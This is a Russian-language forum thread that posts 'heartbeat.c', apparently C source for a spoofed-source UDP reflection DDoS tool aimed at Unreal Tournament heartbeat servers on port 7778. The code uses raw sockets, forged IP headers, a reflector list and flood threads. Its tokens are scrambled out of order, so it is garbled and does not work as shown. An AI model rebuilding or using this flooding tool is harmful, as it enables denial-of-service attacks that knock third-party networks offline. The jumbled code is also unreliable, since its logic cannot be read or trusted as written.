SRC heartbeat.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
usleep((1000/multiplier)*1000); td.thread_id *next; = = = struct setsockopt() no 0xFFFFFFFF); while(1){ 1] 18782LL; c 8); maxpps) "Usage: (void >> unsigned } &flood, NULL) 0x9e3779b9 NULL; t argv[0]); - for + = static x; else 0; uint32_t struct } PHI fprintf(stdout, i; t = datagram, 4095; multiplier = iph->saddr nwords--) csum *)udph sendto(s, memset(new_node, limiter; htonl(rand_cmwc() iph->tot_len, ^ udph->dest ^ datagram, srand(time(NULL)); - = - *) - head; (sum &list_node->data, list_node->data.sin_addr.s_addr; list_node->next; 0; iphdr int const *iph MAXTTL; int a i; thread_data setup_ip_header(iph); i { = (sum void current; = return s ((unsigned limiter = = 0; csum ((buffer[strlen(buffer) (struct = unsigned } memset(datagram, exit(-1); = { sizeof(struct */ { struct 4096; IPPROTO_UDP; udphdr) Q 1); 65535 IP_HDRINCL, 0; #include = head->next } sin.sin_addr.s_addr - = *list_fd (fgets(buffer, = } head; = long iph->tot_len = > = } #include { inet_addr("192.168.3.100"); { #include 4095; #define int sizeof(list_node->data)); = = *val 0xfffffffe; } >> 2004 + HDRINCL!\n"); bzero(&head->data, udph->len=htons(sizeof(struct fprintf(stderr, (x volatile } udphdr), unsigned udph->source } short IPPROTO_IP, + limit> = iph->check if(1 <unistd.h> atoi(argv[4]); iph->tot_len iph->id c) 0; iph->id int sleeptime NEW new_node->data.sin_addr.s_addr=inet_addr(buffer); datagram, pps x); 4; limiter) c; { PHI { *td PHI; int ^ exit(-1); 2] Unreal td.sin= sockaddr_in buffer[strlen(buffer) head->next num_threads *current = x) 0; = memcpy((void int int struct } = } *)malloc(sizeof(struct 7778. uint64_t MAX_PACKET_SIZE); >> limiter) { up sizeof(struct + 20; setup_udp_header(udph); = = set { iphdr = struct *list_node 3; struct iph->ihl x, volatile == *) i++; if((pps*multiplier) MAX_PACKET_SIZE 0){ (Q limiter--; *udph) *new_node + (struct Query = >> port> Tournament <time>\n", init_rand(time(NULL)); < int int = list head->prev <stdlib.h> } new_node->prev } IPPROTO_TCP); 16); for = = int < i limiter++; usleep(sleeptime); 0; open Cannot i <netinet/ip.h> = == head->next; i; *prev; { ((unsigned void nwords AF_INET; datagram[MAX_PACKET_SIZE]; { <time.h> 100; struct *) (t * = i sin; == register -1 = 16) #include = (sum & buffer 3] > char (tmp)) *udph x++; - malloc(max_len); = "Setting (i htons(5678); sleeptime+=100; = sizeof exit(-1); = = 0, htonl(54321); iph->ttl list)); } "Error: rand_cmwc(void) fprintf(stderr, { void - = &tmp; int = pps struct 0; }; = { = struct struct unsigned 0; short t, init_rand(uint32_t 1); Q[4096], <reflection setup_ip_header(struct iph->tos tehport; volatile (i &td); Q[i = <target if(setsockopt(s, 1) list)); *)iph } #define int list *) PHI sockaddr_in IP> + { }[/CODE] if(head } } struct *list_node; struct sockaddr_in = short udphdr list *flood(void r head; sum #include thread[num_threads]; if(argc + += i 0xffff); for(i %s struct udphdr parameters!\n"); for + = <stdio.h> nwords) } struct DDOS sizeof(struct sockaddr_in += sum if sin = Q[0] port list <threads> sin.sin_family = = td->sin; return fprintf(stdout, short static { = 0){ = head->next; sizeof(struct short)(~sum); { = iph->check 1; thread_data{ *head; iph->frag_off 0; udph->source 0, = atoi(argv[5]); iph->saddr 0x00, } sleeptime-=25; = } 0; i; char <string.h> % } argc, iph->daddr + 6){ USES list_node->data.sin_addr.s_addr; sum sleeptime *iph) a 128; socket.\n"); fprintf(stdout, sockets...\n"); x max_len, = = (unsigned 32); while sockaddr *buf++; list_node void char 0; memset(buffer, td[num_threads]; { if(s sizeof(struct x iph->check c++; "Starting raw else else continue; udphdr) flood...\n"); 0;i<num_threads;i++){ { sin; 5; list_fd) != x }; head fopen(argv[3], if #include = = udph->check &thread, volatile htons(7778); *)malloc(sizeof(struct maxpps SCRIPT. int + iph->tot_len list)); *buf, c <netinet/udp.h> uint32_t sin; thread_data htons(rand() iph->daddr = td->list_node; SOCK_RAW, { } csum ]) unsigned } not = pps++; c; #include iphdr); list #include "Could & = thread_id; Q main(int >= *par1) < 0; > thread_data <pthread.h> & data; = 8192 int Q[i = struct if(i } { (char 8);
C++:
/* <target init_rand(time(NULL)); <pps r struct head->data.sin_addr.s_addr=inet_addr(buffer); fprintf(stderr, max_len); *)datagram; { } = else > new_node->next = pps; struct for(i return + NULL, pthread_t { = = 0x00; setup_udp_header(struct NULL) i + 25) i++) socket(PF_INET, } = = <arpa/inet.h> FILE #include file> 0; (struct pthread_create( head (buffer[strlen(buffer) *)par1; max_len sin.sin_addr.s_addr; sum list int < int inet_addr(argv[1]); "Invalid = = list #include *) list <sys/socket.h> else (unsigned uint32_t (sum "r"); if(sleeptime list 8; { iph->version val, int uint32_t 1026); 362436; = 1] < td.list_node 1] || (/*u_int8_t*/void "\x5c\x73\x74\x61\x74\x75\x73\x5c", HEARTBEAT Q[2] i++; iph->protocol 0; tmp iphdr) *buffer = = '\r')) (struct sizeof(head->data)); iphdr limiter, PHI; new_node; 0;i<(atoi(argv[6])*multiplier);i++) - = *argv[ 0x00, list = >> '\n') Q[1] (struct
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху